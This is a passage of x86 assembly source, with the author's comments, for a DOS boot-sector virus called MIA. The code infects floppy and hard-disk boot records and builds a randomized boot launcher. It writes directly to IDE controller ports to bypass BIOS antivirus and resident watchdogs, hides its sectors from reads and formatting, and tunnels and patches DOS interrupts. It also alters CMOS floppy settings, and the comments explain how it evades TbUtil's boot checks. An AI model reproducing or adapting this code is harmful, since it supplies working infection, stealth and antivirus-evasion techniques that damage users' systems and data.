 jnc    Ripedisk               ; Jump if successful

Troublesome:
 jmp    Morbid

Alright:
 xchg   cx,ax
 jcxz   Troublesome            ; Error, too few reserved sectors
 push   0000h                  ; Push zero word
 inc    cx                     ; CL = highest sector number minus 18
 mov    dx,0080h
 mov    al,10h
 out    70h,al                 ; CMOS RAM index 10h = floppy drive type
 in     al,71h
 mov    ds:[Spot],al           ; Save it for later usage
 pop    ds
 mov    al,ds:[04CCh]          ; Award BIOS configuration bits,
 push   es                     ; including floppy drives swapping
 pop    ds
 mov    ds:byte ptr [Forfeit - 01h],al

Ripedisk:
 call   Rand16                 ; Obtain random word
 mov    ds:[Polynomial],ah     ; Save the hi-byte
 call   Disable_Equipments     ; Disable keyboard, mouse, RTC, video (so MIA's
                               ; INT 09h handler will not be executed during
 mov    ax,0300h + Loader      ; encryption that can cause a system crash).
 xor    bx,bx
 mov    ds:[Value_1],cx 
 mov    ds:[Value_2],dx
 inc    cx                     ; Reserve a sector for saving original boot-record
 push   cs cx
 mov    cx,(offset Backbreak - offset Junkie) / 02h
 mov    si,offset Junkie
 mov    di,offset Buffy
 repe   movsw                  ; Copy boot decryptor to CS:0003h
 pop    cx
 or     dl,dl                  ; FD or HD ?
 les    di,ds:[ROM_BIOS]       ; Load original INT 13h vector
 js     Trueblue
 les    di,ds:[Flop_BIOS]      ; Load original INT 40h vector

Trueblue:
 mov    ds:[bx + 1Dh],di       ; Fixed address!!
 mov    ds:[bx + 1Fh],es
 pop    es
 db     0E8h                   ; Encrypt and write to disk
 dw     (offset Buffy + (offset Evoke - offset Junkie)) - ($ + 02h)
 call   Restore_IRQs           ; Restore PIC 1 state

Stupid:
 jc     Troublesome
 dec    cx                     ; Save original boot-record in previous sector
 push   cx
 call   Rand16
 mov    ds:[Cipher],ax         ; Get encryption keyword...
 mov    bx,offset Slack
 call   ExOr_Boot              ; Encrypt original boot-record

 mov    ax,0301h               ; Write original boot-record
 pop    cx
 int    18h
 jc     Stupid
 mov    ax,ds:[Cipher]
 call   ExOr_Boot              ; Decrypt original boot-record


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Generate (oligomorphic) boot-launcher ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Example:
;
;     0000:7C00  E9 44 01           JMP     7D47
;
;     0000:7D47  FA                 CLI
;     0000:7D48  2B E4              SUB     SP,SP
;     0000:7D4A  8E C4              MOV     ES,SP ÄÄÄ Set read buffer segment
;     0000:7D4C  8E D4              MOV     SS,SP ÄÄÄ Set stack segment
;     0000:7D4E  B9 53 50           MOV     CX,5053 ÄÄÄ Track 80, sector 83
;     0000:7D51  BC 9A E4           MOV     SP,E49A ÄÄÄ Set stack pointer
;     0000:7D54  BA 00 01           MOV     DX,0100 ÄÄÄ Side 1, drive A
;     0000:7D57  B8 11 02           MOV     AX,0211 ÄÄÄ Read 17 sectors
;     0000:7D5A  BB 71 1A           MOV     BX,1A7D ÄÄÄ Read buffer offset
;     0000:7D5D  CD 13              INT     13
;     0000:7D5F  72 02              JC      7D63
;     0000:7D61  FF E3              JMP     BX
;     0000:7D63  CD 18              INT     18
;
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


 mov    ds:word ptr [bx + 20h],1983h

Cipher equ word ptr $ - 02h    ; Original boot-record's encryption keyword

 mov    ds:word ptr [bx + 22h],5053h

Value_1 equ word ptr $ - 02h   ; Sector & track (cylinder) ...

 mov    ax,0100h               ; Boot drive & head (side) of original 
                               ; boot-record and virus codes
Value_2 equ word ptr $ - 02h

 and    al,80h                 ; Drive B ain't bootable, of course
 mov    ds:word ptr [bx + 24h],ax
 mov    ds:word ptr [bx + 27h],0FEEDh
 mov    ds:word ptr [bx + 29h],0BABEh
 mov    ds:word ptr [bx + 2Fh],10CDh
 mov    ds:word ptr [bx + 3Bh],0001h

Value_3 equ word ptr $ - 02h   ; Sector & track (cylinder) of boot-record 
                               ; (needed for HD)
 mov    ds:byte ptr [bx + 3Dh],00h

Value_4 equ byte ptr $ - 01h   ; Head (side) of boot-record (needed for HD)


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; When infecting a hard disk, MIA overwrites the first 26 bytes of its active
; boot-record  (overwrites first 23 bytes of BPB)  with virus launcher.  This
; has two advantages:
; 1) When user tries to boot the computer from clean floppy disk, whereas the
;    first fixed disk has been infected,  user will not be able to access the
;    current active partition of that disk, He/She will only get an error DOS
;    message,  "Invalid media type reading drive C".  This forces the user to 
;    boot from infected partition.
; 2) If the MBR of infected hard disk has been immunized by TbUtil,  then the
;    TbUtil's  MBR  will not be able to detect changes of MIA-infected active
;    boot-record (whereas, in fact MBR is executed before active boot-record)
;    since TbUtil's MBR doesn't include the first 64 bytes of the boot-record
;    in its CRC calculation (maybe 'cause the BPB is there and it's sometimes
;    changed by the user).
;
; More infos:
; TbUtil's MBR has three ways to detect boot-record virus,  one way to detect
; viruses  that infect active boot-record of fixed disk and two other ways to
; detect MBR-infectors, those ways are described below:
; 1) Compare the CRC value of active boot-record made in installation process
;    with  the one  calculated on boot-strap,  this is the only way to detect
;    viruses that infect  the active boot-record  since the virus has not yet
;    been resident. (however, MIA can avoid it)
; 2) Compare the amount of base memory (the word at 0040h:0013h) with certain
;    value, usually 027Fh (TbUtil v7.x & v8.x).  Many boot-record viruses can
;    be detected using this way  (particularly Multi-partite ones),  however,
;    I have seen some viruses are tricky enough to avoid this,  for instance,
;    the TPVO.3783 just copies its codes to absolute address 7C00h:0000h then
;    waits for DOS to be loaded,  then allocates DOS memory and  moves itself
;    there, very tricky!!
; 3) Checking segment of INT 13h vector in IVT,  TbUtil's MBR checks  whether
;    it's above or same with C000h (indicates ROM),  if not then user will be
;    alarmed for the presence of a boot-record virus.  Almost all boot-record
;    viruses can be detected using this way, but still,  there are some nasty
;    ones that can avoid this check,  including TPVO.3783 which uses the same
;    method with MIA.9000 to hook INT 13h (I consider this method great code,
;    but I wonder why it's seldom used).
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


 and    dl,dl                  ; FD or HD ?
 mov    di,bx
 js     Offend                 ; Branch if HD
 mov    al,0E9h                
 stosb                         ; Put a near JMP opcode
 mov    ax,01A3h               ; In FD infection, MIA chooses JMP destination
 call   Ranger                 ; randomly, 8-)
 add    ax,003Bh
 stosw                         ; Put JMP displacement
 add    di,ax                  ; Now DI points out to JMP destination

Offend:
 call   Rand16
 and    ax,0003h               ; [0..3]
 add    al,0Dh               
 xchg   bp,ax                  ; BP will be for shuffling loop, [13..16]
 call   Rand16                 ; Obtain random word into AX
 mov    ax,33FAh               ; CLI + XOR XX,XX
 jz     Exclusive
 sub    ah,08h                 ; SUB XX,XX

Exclusive:
 stosw
 mov    ax,0008h               ; Eight kinda registers
 call   Ranger                 ; AX/BX/CX/DX/SP/BP/SI/DI
 mov    dl,al
 imul   ax,0009h
 or     al,0C0h
 stosb
 mov    dh,dl
 or     dx,0C0D0h              ; Generate MOV ES,XX/MOV SS,XX
 call   Rand16
 mov    al,8Eh
 jnz    Consistent
 xchg   dh,dl                  ; Exchange ES/SS order

Consistent:
 mov    ah,dl
 stosw
 mov    ah,dh
 stosw
 mov    al,0B8h                ; MOV AX,XXXX
 stosb                         
 mov    ax,0200h + Loader
 stosw
 mov    al,0BBh                ; MOV BX,XXXX
 stosb

Randomize:
 call   Rand16                 ; Get random word for read buffer on booting
 cmp    ax,0502h               ; Avoids overwriting IVT, BIOS data area, Print
 jb     Randomize              ; Screen status byte, and NEC PC-9000 screen mode
 cmp    ax,7C00h - (Loader * 200h)
 jna    Effervesce             ; it's OK! so skip further checking
 cmp    ax,7E00h               ; Avoids overwriting boot-strap area
 jb     Randomize              
 cmp    ax,-(Loader * 200h)    ; Avoids overcrossing segment boundary, so
 jnbe   Randomize              ; MIA can easily move all codes into memory   
                               ; hole on booting.
Effervesce:
 stosw
 xchg   dx,ax                  ; Save read buffer in DX
 mov    al,0B9h                ; MOV CX,XXXX
 stosb
 mov    ax,ds:[Value_1]        ; Track/sector of MIA's main body, 8-)
 inc    ax
 stosw
 mov    al,0BAh                ; MOV DX,XXXX
 stosb
 mov    ax,ds:[bx + 24h]       ; Head (side) & boot drive
 stosw
 mov    al,0BCh                ; MOV SP,XXXX
 stosb

Solicit:
 call   Rand16                 ; Get random word for SP
 and    al,0FEh                ; Make it even value (avoid AC fault??)
 cmp    ax,0600h               ; 0000h:0600h is the lowest address MIA will
 jb     Solicit                ; use
 cmp    ax,7C00h               ; Be careful not to overwrite boot-strap area
 jna    Salvaged
 cmp    ax,7F00h               ; Assume MIA needs 256 bytes of stack space
 jb     Solicit                

Salvaged:
 sub    ax,dx                   
 jbe    Mechanized             ; it's OK If initial stack is below or same
 cmp    ax,(Loader * 200h) + 100h   
 jb     Solicit                ; SP can only be set at least 256 bytes beyond

Mechanized:
 add    ax,dx                  ; read buffer area
 stosw

Shuffle:
 mov    ax,0005h               ; Five rows to shuffle
 lea    bx,[di - 0Fh]
 mov    si,bx
 push   ax
 call   Ranger
 imul   ax,0003h
 add    bx,ax                  ; BX = first exchange pointer
 pop    ax
 call   Ranger
 imul   ax,0003h
 add    si,ax                  ; SI = second exchange pointer
 lodsw
 xchg   ax,ds:[bx]             ; Exchange orders
 mov    ds:[si - 02h],ax
 lodsb
 xchg   al,ds:[bx + 02h]       ; This is nothing if BX = SI
 mov    ds:[si - 01h],al
 dec    bp
 jnz    Shuffle                ; Keep shuffling...

 mov    ax,13CDh               ; INT 13h opcode
 add    bp,sp
 stosw
 xor    ax,11BFh               ; JC $ + 04h
 stosw
 call   Rand16
 mov    ax,0E3FFh              ; JMP BX
 jnp    Scurry
 mov    ax,0C353h              ; PUSH BX + RETN

Scurry:
 stosw
 mov    ax,18CDh               ; INT 18h opcode
 stosw
 mov    bx,offset Slack        ; now, write it to boot area
 mov    cx,ds:[Value_3]
 mov    dl,ss:[bp + 0Ah]       ; Get drive number from stack
 mov    dh,ds:[Value_4]
 test   dl,dl                  ; Write to hard disk?
 js     Direct_Disk            ; If yes, test if it's an IDE

Transmit:
 jmp    Indirect


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Direct IDE hard disk access (write) ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Direct_Disk:                   ; Check whether it's IDE (or MFM too??) disk
 push   bx cx dx 0000h         ; or not?
 mov    ah,08h                 ; Note that MIA doesn't check drive type since
 pop    ds                     ; many HDs are removable and being reported as
                               ; floppies
 lds    si,ds:[0104h]          ; Get 1st fixed disk parameter vector
 int    18h                    
 setalc                        ; SETALC opcode, AL=+1 if no carry, else AL=-1
 cmp    al,0FFh              
 je     Inactive               ; "Drive activity failed" (why?)
 lodsw                         ; AX = number of cylinder
 shr    cl,06h                 ; Shift 6 bits lower, divide by 64 & round down
 xchg   ch,cl                  
 and    dh,0C0h                ; Get bit 6-7 
 shr    dh,04h                 ; Shift 4 bits lower, divide by 16 & round down
 or     ch,dh                  ; Now CX holds total cylinders
 inc    cx
 inc    cx                     ; Two cylinders??
 cmp    ax,cx                  ; Now ZF set for IDEs 

Inactive:
 push   cs
 pop    ds dx cx bx
 jne    Transmit                ; IDE disk?


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Write to IDE hard disk, this is done by  performing direct access  via port
; of hard disk controller in order to bypass some TSR watchdogs and BIOS Anti
; Virus features. MIA uses the following ports:
;  Port 01F1h : Read  = anticipating errors
;               Write = Write Precompensation Cylinder div 4 (WPC/4)
;  Port 01F2h : Write = sector count
;  Port 01F3h : Write = sector number (CHR mode, instead of LBA)
;  Port 01F4h : Write = track (low) number (CHR mode, instead of LBA)
;  Port 01F5h : Write = track (high) number (CHR mode, instead of LBA)
;  Port 01F6h : Write = drive & head (side)
;  Port 01F7h : Read  = drive status register
;               Write = command register
;  Port 03F6h : Write = Hard Disk Controller (HDC) data register
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


 push   dx            
 mov    ax,cx
 and    cl,0C0h                ; Clear all bits except bit 6-7 in CL
 shr    cl,06h                 ; Convert it to bit 0-1
 mov    ds:[Low_Cylinder],ch
 mov    ch,dh                  ; Get head number 
 and    ch,0C0h                ; Clear all bits but keep bit 6-7 (for HD with 
 shr    ch,04h                 ; >1024 cylinders), shift 4 bits lower, divide
 or     cl,ch                  ; by 16 & round down
 mov    ds:[Hi_Cylinder],cl

 and    al,3Fh                 ; Get low-6-bit number of sector/record
 mov    ds:[Beg_Sector],al
 or     dh,0A0h                ; Fixed! bit 5 & bit 7 must be set
 mov    ds:[Drive_Head_01],dh
 mov    ds:[Drive_Head_02],dh
 call   Delay                  ; Spend some time

Endeavour:
 mov    al,04h                 ; Option: enable disk initialization & reset
 mov    dx,03F6h               ; First HDC 
 out    dx,al                  ; Enable disk reset
 call   Delay
 mov    al,cl
 out    dx,al
 call   Delay
 mov    dh,01h                 ; Port 01F6h :

Drive_Head_01 equ byte ptr $ + 01h

 mov    al,0A1h
 out    dx,al                  ; Sending drive & head (side) ...
 call   Delay
 mov    al,10h
 inc    dx                     ; Port 01F7h :
 out    dx,al                  ; Recalibrate...
 call   Controller

 mov    dl,0F1h                ; Port 01F1h :
 in     al,dx
 and    al,68h                 ; Clear two reserved bits (bit-3 & bit-5)
 jnz    Endeavour              ; if not zero, then at least one error occured
 call   Controller        

 mov    al,01h
 mov    dl,0F2h                ; Port 01F2h :
 out    dx,al                  ; Sending number of sectors to write...
 call   Delay

Beg_Sector equ byte ptr $ + 01h

 mov    al,01h
 inc    dx                     ; Port 01F3h :
 out    dx,al                  ; Sending sector number...
 call   Delay

Hi_Cylinder equ byte ptr $ + 01h

 mov    al,00h
 inc    dx                     ; Port 01F4h :
 out    dx,al                  ; Sending hi-cylinder...
 call   Delay

Low_Cylinder equ byte ptr $ + 01h

 mov    al,00h
 inc    dx                     ; Port 01F5h :
 out    dx,al                  ; Sending low-cylinder...
 call   Delay

Drive_Head_02 equ byte ptr $ + 01h

 mov    al,0A1h
 inc    dx                     ; Port 01F6h :
 out    dx,al                  ; Sending drive & head (side) ...
 call   Delay

 mov    al,31h                 ; Perform write without retry.
 inc    dx                     ; Port 01F7h :
 out    dx,al                  ; Sending command... 

Rolling_Drive:
 call   Controller
 test   al,08h                 
 jz     Rolling_Drive          ; Wait here until seeking completed

 inc    ch                     ; 256 words to send
 mov    dl,0F0h                ; Port 01F0h :
 mov    si,bx
 repe   outsw                  ; Sending data to port...
 call   Controller             ; Spend some milliseconds
 pop    dx
 jmp    short Falseforce

Indirect:
 mov    ax,0301h               
 int    18h                    ; On floppies (or SCSI ?), call disk handler
 jnc    Falseforce

Trapdoor:
 jmp    Morbid


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Viral sectors hiding/protection procedure ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Denied:
 call   Restorage              ; Restore INT 15h
 call   Flop
 mov    ax,0400h               ; "Sector not found"
 popf
 stc
 jmp    short Sharpen

Streamliner:
 cmp    ds:[si + 23h],ch       ; Reading MIA's track?
 jne    Trapdoor
 cmp    ds:[si + 25h],dh       ; On proper side?
 jne    Trapdoor
 cmp    ah,05h                 ; Format function?

Silly:
 je     Denied                 ; Yes, so deny the access
 or     dl,dl                  ; Test the drive
 jns    Denied                 ; Branch if FD

 cmp    cl,ds:[si + 22h]       ; Compare CL with sector number of virus codes
 jnb    Illegal                ; If same or above, MIA should do some tricks
 dec    ax
 add    cl,al                  ; Now CL holds the last sector number that will
 sub    cl,ds:[si + 22h]       ; be read/written
 jc     Trapdoor               ; If CF=1 then virus codes won't be affected
 sub    al,cl                  ; Now AL holds number of sectors allowed being
 inc    cx                     ; accessed, and CL holds number of sectors MIA
 push   ax cx                  ; prohibits the user to be read/written to
 mov    cl,ss:[bp + 0Ch]
 int    18h                    ; Read/write non-viral sectors
 pop    cx ax
 jc     Retrogress             ; Error? huh!
 sub    ah,ah
 sal    ax,09h                 ; Convert number of sectors into bytes
 add    bx,ax                  ; Adjust read/write buffer offset
 mov    al,cl                  ; AL now holds the rest of sectors which are  
                               ; parts of main virus codes
Illegal:
 test   ss:byte ptr [bp + 11h],01h          
 jnz    Retrogress             ; Reading sectors? no, jump out
 xor    ah,ah
 shl    ax,08h                 ; Convert number of sectors to words
 xchg   cx,ax
 mov    di,bx                  ; Offset of read buffer
 sub    ax,ax                  ; Fill buffer with zeros
 repe   stosw                  ; So instead of reading MIA's main body, 
                               ; return a block of zeros (faking the user)
Retrogress: 
 call   Restorage              ; Restore INT 15h vector
 call   Flop                   ; Pop all registers
 sub    ah,ah                  ; Clear AH, indicate successful action
 popf                          ; Restore flags state
 clc                           ; Of course, no error ha ha ha...

Sharpen:
 retf   0002h                  ; Back to interrupt caller


                   SubTtl Ad astra nitamur semper ad optima


Falseforce:
 mov    si,bx                  ; BX = SI = buffer of boot-record
 les    bx,ss:[bp + 0Eh]
 mov    ax,es
 mov    di,ax                  ; Get registers from stack
 les    dx,ss:[bp + 0Ah]
 mov    cx,es
 mov    es,ss:[bp]             ; Get read buffer segment from stack
 cmp    ds:[si + 3Bh],cx       ; Did he try to harm My MIA?
 jne    Streamliner
 cmp    ds:[si + 3Dh],dh       ; I'll fight till the cows come home!!
 jne    Streamliner
 cmp    ah,05h                 ; Formatting disk? huh... 8-(
 je     Silly
 mov    al,01h                 ; One sector
 mov    cx,ds:[si + 22h]       ; This is where the original boot-record
 mov    dh,ds:[si + 25h]       ; located

 cmp    ah,02h                 
 je     Steal_Sector           ; Read sector(s) ? branch if yes
 cmp    ah,0Ah
 je     Steal_Sector           ; Read long sector(s) (HD) ? bomb if yes
 push   ax
 mov    ax,ds:[si + 20h]       ; Get encryption keyword from boot-launcher
 call   ExOr_Boot              ; Encrypt 512 bytes at ES:[BX]
 pop    ax
                               ; Then write it
Steal_Sector:
 push   ss:word ptr [bp + 12h]
 popf                          ; Load original flags state
 int    18h
 pushf
 pop    ss:word ptr [bp + 12h]
 jc     StealthShip            ; Error reading/writing, quit!
 push   ax
 mov    ax,ds:[si + 20h]       ; Get the keyword again
 call   ExOr_Boot              ; Now decrypt 512 bytes
 mov    ax,di
 dec    al                     ; Decrease read/write count
 jz     Generationext          ; Did he/she try to read/write just one sector?

 add    bx,ds:[si + 0Bh]       ; Add with bytes per sector
 mov    cx,ds:[si + 3Bh]       ; Get boot track/sector from viral boot-record
 mov    dh,ds:[si + 3Dh]       ; And head (side) too
 inc    cx                     ; No problem for MIA
 int    18h                    ; Fetch additional sectors being read

Generationext:
 xchg   di,ax
 pop    ax
 add    ax,di                  ; AL contains number of sectors transferred
 xor    ah,ah                  ; AH cleared to indicate successful action

StealthShip:
 mov    ss:[bp + 10h],ax       ; Update AX on stack
 jmp    Final

Controller:
 mov    dx,01F7h               ; Port 01F7h

Trace_drive:
 in     al,dx
 test   al,80h                 ; Still working hey??
 jnz    Trace_drive            ; I'll wait...
 ret

Delay:
 call   Foolish
 mov    cx,0007h               ; Some millisecond delay...
 loop   $                      ; Loop here

Foolish:
 ret

Disable_Equipments:
 in     al,21h                 ; Obtain PIC 1 state
 mov    cs:[IRQ],al            ; Store it for later restorage
 or     al,06h                 ; Mask bit 1 & 2 (keyboard, mouse, RTC, video)
 jmp    short Share

Restore_IRQs:
 mov    al,0BBh

IRQ equ byte ptr $ - 01h

Share:
 out    21h,al                 ; Restore PIC 1 state
 ret


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Before save the  original  boot-record to disk,  MIA encrypts it.  Although
; this will not stop Vesselin "Civet" Bontchev, John McAfee, Frans Veldman or
; Eugene Kaspersky from creating decryptor, but this is better than leave the
; 512 bytes lie barenaked in disk sector. 8-)
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


ExOr_Boot:
 push   bx cx
 mov    cx,01FFh

Disorder:
 add    ax,cx                  
 xor    es:[bx],ax             ; eXclusive OR ES:[BX]
 inc    bx
 loop   Disorder
 pop    cx bx
 ret


;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; MIA doesn't hook DOS interrupt directly (i.e. change value of doubleword at
; 0000h:0084h) but patches two bytes in the DOS kernel with an INT pointed to
; viral handler.  MIA uses following subroutine to swap those two bytes (when
; executes original DOS interrupt, they must be restored first, otherwise the
; computer would screw up!! 8-)
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ


Swapper:                      
 push   ax si ds
 lds    si,cs:[Viral_Interrupt]
 mov    ax,ds:[si]             ; Why doesn't MIA use LODSW instead??
                               ; Doesn't want to be messed by DF ??
ZigAZig:
 xchg   cs:[Interstice],ax     ; Exchange with 2 bytes in buffer
 mov    ds:[si],ax             ; Patch it!
 pop    ds si ax
 ret

Rand16:                        
 push   cx
 clc
 setalc                        ; Counter 0, latch it with zero detection
 out    43h,al                 ; Port 0043h, 8253-4 = PIT mode control word
 out    0EBh,al                ; Delay for Intel Chipset 8237IB ???
 in     al,40h
 xchg   ah,al
 in     al,40h                 ; Obtain a byte from counter 0
 xchg   cx,ax
 mov    ax,0E724h

Seed_01 equ word ptr $ - 02h

 imul   ax,4E6Dh               ; Poorly made, as far as Your eyes can see

Seed_02 equ word ptr $ - 02h

 add    ax,71AAh

Seed_03 equ word ptr $ - 02h

 rcr    ax,01h
 mov    ds:[Seed_01],ax
 xor    ds:[Seed_02],cx        ; Bahhh...
 sal    cx,01h
 adc    ds:[Seed_03],cx
 xor    ax,cx
 sahf
 pop    cx
 ret

Ranger:                        ; Random in range
 push   dx ax
 call   Rand16
 pop    cx
 xor    dx,dx
 div    cx                     ; DX:AX / CX
 pop    ax
 xchg   dx,ax
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 01h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Tracer:                        
 call   Flip                   ; Push everything
 mov    si,cs                  
 xor    di,di
 mov    bp,sp
 cmp    ss:[bp + 14h],si       ; Don't trace My codes! 8-)
 je     Branch
 lds    si,ss:[bp + 12h]       ; Load pointer to next instruction (return address)
 test   cs:byte ptr [di + 2Bh],80h
 jnz    Fray                   ; Was there a PUSHF ? branch if not
 and    ss:byte ptr [bp + 19h],0FEh
 not    cs:byte ptr [di + 2Bh] ; Restore tunneling counter

Fray:
 inc    cs:byte ptr [di + 2Bh] ; Tunneling counter
 jz     Extraction
 lodsb
 sub    al,9Ch                 ; PUSHF instruction?
 jnz    Extortion              
 not    cs:byte ptr [di + 2Bh] ; We'll alter stack on next execution

Extortion:                     ; It ain't likely that a DOS dispatcher handler
 dec    al                     ; will PUSHF and then POPF, but anyway... 8-)
 jnz    Branch                 
 or     ss:byte ptr [bp + 19h],01h

Branch:
 call   Flop
 iret

Extraction:                    ; So now it's the right time to re-swap DOS
 xchg   ss:[bp + 17h],al
 and    al,0FEh                ; Clear TF
 xchg   ss:[bp + 17h],al
 call   Swapper
 lds    si,cs:[di + 27h]       ; Load old tracer vector
 push   ds
 mov    ds,di
 mov    ds:[di + 04h],si       ; Restore INT 01h handler
 pop    ds:word ptr [di + 06h]
 call   Freeware               ; Allow boot-record infection
 call   Restore_IRQs           ; Restore PIC 1 state
 mov    al,9Ch

IIO equ byte ptr $ - 01h

 out    0A1h,al                ; Restore PIC 2 state
 jmp    short Branch

Metrics:                       ; INT 09h patcher
 mov    cx,0005h
 lds    si,cs:[Keyboard]       ; Load address of INT 09h vector
 mov    di,offset Prebuff      ; DI = 5 bytes buffer 

Exposure:
 cld

Exchanging:
 lodsb
 xchg   cs:[di],al             ; Exchange CX bytes
 inc    di
 mov    ds:[si - 01h],al
 loop   Exchanging

Unpressed:
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Interrupt 09h handler ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Survive:                       ; This is the 1st handler (installed on booting)
 sub    sp,0FFFCh              
 call   Flip
 call   Offshoot               ; Call the main routine of INT 09h handler
 call   Flop
 popf

Keypress:
 db     0EAh                   ; Pass control back to INT 09h

Keyboard dd 0F000E987h

Grip:                          ; And this is the 2nd handler (file execution)
 add    sp,0004h
 call   Flip                   ; Push registers
 call   Metrics                ; Restore the first 5 bytes of INT 09h
 call   Offshoot               ; Call the main routine of INT 09h handler
 call   Flop
 push   cs
 call   Keypress               ; Call original INT 09h then
 call   Flip
 call   Metrics                ; Put again the far JMP
 jmp    short Branch

Offshoot:                      ; Main routine of INT 09h handler
 push   0000h
 mov    ax,0F828h
 xor    cs:word ptr [Survive + 01h],ax
 xor    cs:word ptr [Grip + 01h],ax
 pop    ds
 mov    al,ds:[0417h]          ; Get keyboard status flags 1
 and    al,0Ch                 ; Test bit 2 & 3, i.e. Ctrl & Alt state
 cmp    al,0Ch                 ; Pressed simultaneously?
 jne    Unpressed              ; Jump if not
 in     al,60h                 ; Port 0060h = keyboard controller
 sub    al,53h                 ; Get scan code, is it a DEL ??
 jnz    Unpressed

Collide:
 xor    ax,ax
 cmp    ds:[0475h],ah          ; (0000h:0475h) number of installed HD
 jbe    Unpressed              ; Jump if HD is unavailable


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Enable/disable FDDs in CMOS ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


Enable_FDD:
 mov    bp,ax
 mov    al,10h                 ; CMOS RAM index 10h = floppy drive type
 out    70h,al
 in     al,71h
 push   ax                     ; Save it on stack
 mov    al,2Eh                 ; CMOS RAM index 2Eh = hi-byte of IBM standard 
 out    70h,al                 ;                      CMOS checksum
 in     al,71h
 xchg   ch,al
 mov    al,2Fh                 ; CMOS RAM index 2Fh = low-byte of IBM standard
 out    70h,al                 ;                      CMOS checksum
 in     al,71h
 xchg   cl,al

 mov    bl,10h
 cwd

Calculate:
 mov    al,bl
 out    70h,al
 inc    bx
 in     al,71h
 add    dx,ax                  ; Checksum method for IBM standard
 cmp    bl,2Eh
 jb     Calculate
 cmp    cx,dx                  
 mov    ax,bp
 pop    bx
 jne    PS_2                   ; If checksum differs, probably IBM PS/2 CMOS
 mov    cx,2F2Eh
 test   bx,bx
 jz     Platitude
 sub    dx,bx                  ; Correct CMOS checksum
 add    dx,bp
 jmp    short Disable_FDD

Platitude:
 add    dx,ax
 jmp    short Disable_FDD

PS_2:                          ; Get IBM PS/2 CMOS CRC-16
 and    bx,bx
 jnz    Stable
 add    bx,ax

Stable:
 mov    cx,3233h
 mov    al,cl
 out    70h,al
 in     al,71h                 ; Obtain hi-byte CRC-16
 xchg   dh,al
 mov    al,ch
 out    70h,al
 in     al,71h                 ; Obtain low-byte CRC-16
 xchg   dl,al
 xor    dx,bx                  ; Maintain correct CRC-16

Disable_FDD:
 mov    al,cl
 out    70h,al
 mov    al,dh
 out    71h,al                 ; Save low-byte new checksum/CRC-16
 mov    al,ch
 out    70h,al
 xchg   dx,ax
 out    71h,al                 ; Save hi-byte new checksum/CRC-16
 mov    al,10h
 out    70h,al
 xchg   bp,ax
 out    71h,al                 ; Now, write to CMOS RAM
 ret


;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[ Attempting to grab int 21h after boot-strap ]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; So far, MIA has been resident but it wasn't over, 'cause DOS was not loaded
; as yet, MIA shall do a trick to determine when it is the right time to hook
; INT 21h.  I'm very sorry that this trick is a kinda what any fool can do...
; 8-(
